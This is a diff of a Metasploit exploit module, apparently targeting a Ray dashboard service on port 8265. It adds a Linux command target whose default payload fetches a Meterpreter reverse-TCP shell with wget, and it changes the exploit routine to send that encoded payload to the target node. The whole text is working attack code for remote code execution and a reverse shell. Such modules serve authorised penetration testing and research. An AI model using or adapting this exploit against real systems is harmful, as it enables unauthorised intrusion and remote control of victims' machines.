@@ -36,7 +36,16 @@ def initialize(info = {})
36
36
'Targets' => [
37
37
[ 'Linux x64' , { 'Arch' => ARCH_X64 , 'Platform' => 'linux' } ] ,
38
38
[ 'Linux x86' , { 'Arch' => ARCH_X86 , 'Platform' => 'linux' } ] ,
39
- [ 'Linux aarch64' , { 'Arch' => ARCH_AARCH64 , 'Platform' => 'linux' } ]
39
+ [ 'Linux aarch64' , { 'Arch' => ARCH_AARCH64 , 'Platform' => 'linux' } ] ,
40
+ [
41
+ 'Linux Command' , {
42
+ 'Arch' => [ ARCH_CMD ] , 'Platform' => [ 'unix' , 'linux' ] , 'Type' => :nix_cmd ,
43
+ 'DefaultOptions' => {
44
+ 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' ,
45
+ 'FETCH_COMMAND' => 'WGET'
46
+ }
47
+ }
48
+ ]
40
49
] ,
41
50
'DefaultTarget' => 0 ,
42
51
'DisclosureDate' => '2023-11-15' ,
@@ -51,6 +60,7 @@ def initialize(info = {})
51
60
register_options (
52
61
[
53
62
Opt ::RPORT ( 8265 ) ,
63
+ Msf ::OptString . new ( 'TARGET_URI' , [ false , 'URI' , '/' ] )
54
64
]
55
65
)
56
66
end
@@ -95,7 +105,12 @@ def exploit
95
105
fail_with ( Failure ::Unknown , 'Failed to get ip' ) unless first_node . key? ( 'ip' )
96
106
ip = first_node [ 'ip' ]
97
107
print_good ( "Grabbed node info, pid: #{ pid } , ip: #{ ip } " )
98
- execute_cmdstager ( { flavor : :wget , pid : pid , ip : ip } )
108
+ case target [ 'Type' ]
109
+ when :nix_cmd
110
+ execute_command ( payload . encoded , { pid : pid , ip : ip } )
111
+ else
112
+ execute_cmdstager ( { flavor : :wget , pid : pid , ip : ip } )
113
+ end
99
114
end
100
115
101
116
def execute_command ( cmd , opts = { } )
0 commit comments